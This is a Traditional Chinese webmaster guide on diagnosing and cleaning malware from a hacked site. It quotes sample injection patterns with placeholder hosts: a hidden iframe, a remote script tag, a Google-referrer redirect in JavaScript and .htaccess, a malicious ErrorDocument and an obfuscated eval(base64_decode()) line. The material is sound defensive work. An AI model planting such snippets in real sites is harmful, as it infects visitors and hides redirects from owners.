惡意軟體入侵

凡是刻意危害電腦、行動裝置、執行的軟體或使用者的軟體或行動應用程式,均屬於惡意軟體。如要進一步瞭解惡意軟體,請參閱「惡意軟體和垃圾軟體」。

如果你的網站含有惡意軟體,使用者嘗試造訪網站時,通常會在搜尋結果或瀏覽器顯示的插頁上看到「這個網站可能會損害你的電腦」警告訊息,如下所示:

代表性的惡意軟體插頁
含有惡意軟體警告的搜尋結果。

您必須具備下列條件:

  • 殼層或終端機管理員權限,可存取網站伺服器,包括網路、資料庫和檔案。
  • 瞭解殼層或終端機指令
  • 能夠在資料庫上執行 SQL 查詢。

準備

  • 申請使用 Search Console 並按照這裡所述的方式驗證遭入侵網站的擁有權。 Search Console 會提供受影響網頁的示例,方便您找出並修正遭到入侵的問題。此外,當系統偵測到您的網站受到多種惡意軟體或其他駭客攻擊影響時,也會發出警告。
  • 查看 Google 安全瀏覽診斷頁面,從公開資訊中得知網站是否對使用者俱有潛在威脅。如要查看網頁或網站的產品資訊狀態,請使用與下方類似的網址: https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** 例如: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> 可以是特定網頁網址 (http://example.com/badpage) 或整個網站 (example.com)。

  • 請避免使用瀏覽器查看網站上的網頁。由於惡意軟體常會透過瀏覽器的安全漏洞運作,因此在瀏覽器中開啟受到惡意軟體感染的網頁,可能會使您的電腦受損。除非診斷操作說明指示直接在瀏覽器中存取該網頁,否則,請使用 cURLWget 執行 HTTP 要求 (例如擷取網頁)。

    這些免費工具有助於診斷重新導向,甚至還能加入參照網址或使用者代理程式資訊。加入特定參照網址或使用者代理程式有助於模擬駭客,因為駭客可能只會向具有特定使用者代理程式或參照網址的使用者顯示惡意內容,鎖定更多「真實的使用者」,並避免網站擁有者和惡意軟體掃描器的偵測結果。

`curl -v --referer "http://www.google.com" <your-url>`

以下範例同時指定使用者代理程式和參照網址:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

建議您擷取包含及不使用 --referer "https://www.google.com" 的網頁,因為部分惡意軟體只有在使用者從 Google 搜尋結果造訪時才會啟動。

  • 建立一個文件,用來記錄本步驟中查到的結果。該文件最終將 (至少) 包括每個損壞檔案的名稱和位置,以及受損程度的附註,是清理及維護您的網站的依據。

  • 請觀看本頁稍早的影片,瞭解惡意軟體的運作方式,以及如何在惡意軟體調查期間保護自身安全。

診斷

判斷哪些惡意軟體影響你的網站:

  1. 在 Search Console 中開啟網站的安全性問題報告。展開惡意軟體警告的說明,即可查看受影響網頁的示例清單。 請注意,這份清單並不完整;您可能不會取得網站上所有惡意軟體類型的示例網頁。
  2. 測試範例網頁是否有下列類型的惡意軟體。

伺服器設定惡意軟體 (不必要的重新導向)

駭客已入侵您的網站,且可能藉由修改伺服器的設定檔,將網站訪客從優質網站重新導向至惡意軟體攻擊網站。伺服器設定檔通常可讓網站管理員為網站上的特定網頁或目錄指定網址重新導向。以 Apache 伺服器為例,指 .htaccesshttpd.conf

診斷

前往安全性問題報告中列出的部分示例網址。如果網頁已受到「伺服器設定」感染,則代表該網頁的回應可能包含下列標頭:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

判斷受影響的檔案

透過殼層或終端機存取權登入伺服器 (如有需要,網站可離線),並檢視相關的伺服器設定檔。網站上可能會有多個伺服器設定檔遭入侵。請檢查這些檔案是否含有不必要的指令,例如重新導向至不明網站。例如,在 .htaccess 檔案中,您可能會看到類似下方的重新導向:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

SQL 插入

駭客已入侵你的網站資料庫。舉例來說,駭客可能以程式輔助方式將惡意程式碼插入資料庫資料表的每筆記錄,因此當伺服器載入的網頁需要資料庫中的資訊時,惡意程式碼現在會嵌入網頁內容,進而對網站訪客造成傷害。

診斷

  1. 透過指令列對受影響的網址執行一些查詢,並檢查 SQL 攻擊字詞的回應,例如「iframe」或「eval」。
  2. 登入您的資料庫伺服器,或使用工具 (例如 phpMyAdmin) 查看資料庫。如果您使用了 Wget 或 cURL,請透過 Wget 或 cURL,將網頁原始碼中的損害與實際的資料庫項目建立關聯。舉例來說,如果您發現網頁含有危險的 iframe,您可以執行 SQL 查詢搜尋 iframe 程式碼。例如:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. 您也可以查看伺服器上的資料庫記錄和錯誤檔案,瞭解是否有異常活動,例如一般使用者或錯誤似乎不尋常的 SQL 指令。

修正問題

更新每筆受感染的資料庫記錄,或還原最近一次的已知資料庫備份。

程式碼植入

您網站上的網頁遭到竄改並植入惡意程式碼,例如導向惡意軟體攻擊網站的 iframe。

診斷

請使用 cURL 或 wGet 造訪「安全性問題」報告中顯示的部分示例網址,檢查並檢查可疑的程式碼。插入的程式碼可能有許多類型,而且很難找到。您可以搜尋「iframe」這類字詞,找出 iframe 程式碼。此外,「script」、「eval」和「unescape」等也都是實用的關鍵字。舉例來說,如要在 Unix 系統中搜尋「iframe」的所有檔案:

$grep -irn "iframe" ./ | less</pre>

以下是一些常見的惡意軟體模式。

載入惡意網站的 iframe:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

呼叫及執行攻擊網站指令碼的 JavaScript 或其他指令碼語言:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

將瀏覽器重新導向至攻擊性網站的指令碼:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

以矇騙手法躲避偵測的惡意程式碼:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

專門用於隨機將有害程式碼寫入良性指令碼的共用物件檔案:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

惡意錯誤範本

用於顯示錯誤訊息的範本 (例如 404 找不到檔案) 遭到設定,以散佈惡意軟體。如此一來,即使網址不存在於您的網站,攻擊者也能對網址發動攻擊。

診斷

要求網站上不存在的網頁或擲回其他類型的錯誤,並檢查回應是否來自其他網站,或是否含有惡意軟體。

修正問題

登入您的網路伺服器,在伺服器設定檔中搜尋錯誤網頁指令。舉例來說,您可以在 .htaccess 檔案中宣告 Apache 網路伺服器適用的錯誤範本。以下 .htaccess 檔案項目範例會從惡意網站擷取 404 錯誤網頁:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

準備好清理網站時,請以已知的良好備份取代 .htaccess 檔案,或是刪除現有 .htaccess 檔案中不需要的 ErrorDocument 指令。如果您的網站上存在實際錯誤檔案,也請務必予以清除。最後,請重新啟動網路伺服器,確保所有變更生效。

從遭入侵或惡意網站載入的資源 {compromised-resources}

你的網站使用了來自已知含有惡意內容的網站內容或資源。這些可能是 JavaScript 檔案、圖片或其他檔案。因此,系統會將您的網站標記為從其他網站載入的惡意軟體。

診斷

前往安全性問題報告中列出的部分示例網址。

修正問題

  1. 如要確認問題,請前往 Search Console 的「安全性問題」報告中列出的幾個示例網址。您應該會看到瀏覽器警告訊息。
  2. 瀏覽器警告會列出有問題內容的網域。 請針對瀏覽器警告中列出的受檢舉網站移除所有參照內容。 如果我們在您不知情的情況下加入了遭檢舉網站的內容,那麼問題會比較嚴重。您的網站很可能已遭入侵,建議您繼續檢查網站是否有其他入侵行為和安全漏洞。
  3. 如果您蓄意納入的內容來自合法網站,但該網站在經過檢舉後遭到檢舉,而您想要在該網站清除後重新加入該內容,可以使用該網站的 Google 安全瀏覽診斷頁面 (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external} 監控遭檢舉網站的狀態。 合法網站的擁有者通常可以快速清理網站。

額外調查

接著,檢查系統中是否有其他惡意檔案或變更。駭客可能竄改現有網頁或資料庫記錄、建立全新的垃圾網頁、撰寫在乾淨網頁中顯示垃圾內容的函式,或是留下「後門」讓駭客重新進入您的網站,或再次植入您已移除的惡意程式碼。

如果網站已上線,建議你下線來調查。

如果您擁有網站的完好備份,請找出哪些檔案在備份後建立或修改,並進行調查。在 Unix 系統上,您可以使用類似下列的指令尋找新檔案:

diff -qr <current-directory> <backup-directory>

例如:

diff -qr www/ backups/full-backup-20120124/

以及:

md5sum <current-page> <backup-page>

例如:

md5sum www/page.html backups/full-backup-20120124/page.html

檢查伺服器、存取和錯誤記錄中是否有任何可疑活動,例如失敗的登入嘗試、指令記錄 (特別是根層級),以及建立不明的使用者帳戶。提醒您,駭客可能為了達成自身目的而修改這些紀錄。您可以參考「找出漏洞」影片中的一些範例。

檢查設定檔的重新導向設定。設定檔的名稱通常為 .htaccesshttpd.conf。駭客常會以使用者代理程式、時段或參照網址來建立條件重新導向。如果您需要更新設定檔,可能需要重新啟動伺服器,變更才會生效。

檢查資料夾和檔案權限是否過於寬鬆。駭客可能會竄改權限,因為如果網站擁有者仍未偵測到寬鬆的權限,駭客就能再次入侵網站。如果檔案大於 644 (rw-r--r--) 且資料夾大於 755 (rwxr-xr-x),可能會造成安全性問題。請確認給予這些資料夾如此低權限的必要性。在 Unx 系統上,請嘗試:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

和:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

如果您有資料庫,請使用 phpMyAdmin 之類的工具詳細調查記錄。